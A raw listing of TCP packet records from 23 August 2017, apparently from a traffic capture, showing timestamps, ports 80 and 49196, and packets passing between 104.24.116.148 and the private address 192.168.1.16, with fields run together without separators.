      Aug 23, 2017 11:21:37.487370968 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.495955944 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.495980024 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.495987892 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.496207952 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.496282101 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.500082970 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.500113010 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.500276089 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.500304937 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.504024029 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.504049063 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.504190922 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.504221916 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.513773918 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.513799906 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.513808966 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.513953924 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.513994932 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.518338919 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.518363953 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.518573999 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.518624067 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.521066904 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.521080971 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.521272898 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.521302938 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.527731895 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.527928114 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.527959108 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.532089949 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.532301903 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.532346964 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.538146019 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.538161993 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.538588047 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.538626909 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.544492960 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.544507980 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.544714928 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.544759035 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.549196959 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.549221039 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.549447060 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.549494028 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.553561926 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.553576946 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.553781986 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.553829908 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.562161922 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.562177896 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.562405109 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.562460899 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.566384077 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.566411018 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.566608906 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.566664934 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.570218086 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.570384026 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.570426941 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.577975988 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.578068972 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.578092098 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.581631899 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.581645966 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.581728935 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.581752062 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.585026979 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.585042000 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.585123062 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.585145950 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.589128017 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.589143038 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.589222908 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.589246035 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.592869043 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.592885017 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.593019009 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.593038082 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.599680901 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.599694014 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.599831104 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.599849939 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.600388050 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.600409985 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.600752115 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.600788116 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.607654095 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.607667923 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.608036995 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.608067036 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.612788916 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.612802029 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.612926960 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.612947941 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.623115063 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.623127937 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.623131990 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.623270988 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.623292923 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.627536058 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.627682924 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.627705097 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.630021095 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.630433083 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.630455971 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.641339064 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.641350985 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.641458035 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.641479969 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.645574093 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.645608902 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.645818949 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.645838022 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.650665998 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.650679111 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.650787115 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.650810957 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.651710033 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.651721954 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.651829958 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.651854992 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.665529013 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.665555000 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.665656090 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.665679932 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.666546106 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.666574955 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.666708946 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.666727066 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.673573017 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.673585892 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.673686028 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.673702002 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.682652950 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.682667971 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.682734966 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.682981968 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.683017015 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.684216022 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.684237957 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.684366941 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.684392929 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.696129084 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.696429968 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.696487904 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.700484037 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.700496912 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.700787067 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.700814962 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.701467991 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.701488018 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.701910973 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.701941013 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.711431980 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.711446047 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.711647987 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.711683035 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.717407942 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.717421055 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.717595100 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.717627048 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.734481096 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.734504938 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.734635115 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.734652996 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.759416103 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.759439945 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.759551048 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.759573936 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.762320042 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.762334108 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.762418032 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.762439013 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.775546074 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.775571108 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.775681019 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.775701046 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.792032957 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.792053938 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.792059898 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.792223930 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.792247057 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.807887077 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.808109045 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.808146954 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.810097933 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.810247898 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.810278893 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.823339939 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.823374033 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.823496103 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.823512077 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.824934959 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.824960947 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.825128078 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.825140953 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.835726023 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.835747957 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.835850000 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.835865974 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.839773893 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.839915037 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.839932919 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.847239017 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.847373009 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.847390890 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.852632046 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.852670908 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.853069067 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.853097916 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.854641914 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.854671001 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.854785919 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.854804039 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.863723993 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.863753080 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.863877058 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.863894939 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.868818998 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.868943930 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.868962049 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.870940924 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.871095896 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.871114969 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.872608900 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.873008013 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.873032093 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.879481077 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.879632950 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.879651070 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.883842945 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.883873940 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.884007931 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.884026051 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.888737917 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.888770103 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.888865948 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.888884068 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.889354944 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.889381886 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.889494896 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.889508963 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.898799896 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.898818970 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.899185896 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.899211884 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.908724070 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.908737898 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.909181118 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.909205914 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.920766115 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.920778990 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.920945883 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.920964003 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.923583031 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.923597097 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.923964024 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.923980951 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.932507992 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.932522058 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.932893991 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.932912111 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.938421965 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.938436031 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.938833952 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.938849926 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.952510118 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.952522993 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.953419924 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.953440905 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.961344004 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.961364031 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.961373091 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.961389065 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.961410999 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.961572886 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.961592913 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.970591068 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.970613003 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.970622063 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.970701933 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.970722914 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.972098112 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.972110987 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.972454071 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.972477913 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.985735893 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.985749960 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.985950947 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.985971928 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.991655111 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.991679907 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.992115021 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.992136002 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.995426893 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.995445967 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:37.995592117 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:37.995614052 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.002895117 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.002918959 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.003099918 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.003123045 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.007617950 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.007800102 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.007817030 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.012399912 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.012425900 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.012706041 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.012727976 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.023327112 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.023349047 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.023613930 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.023633003 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.032605886 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.032620907 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.032979965 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.033010006 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.036457062 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.036470890 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.036475897 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.036801100 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.036829948 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.042865038 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.042879105 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.042896032 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.043083906 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.043122053 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.051196098 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.051215887 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.051410913 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.051448107 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.060533047 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.060548067 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.060739040 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.060776949 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.067110062 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.067123890 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.067325115 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.067362070 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.072345972 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.072359085 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.072559118 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.072596073 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.075428963 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.075442076 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.075625896 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.075664043 MESZ8049196104.24.116.148192.168.1.16
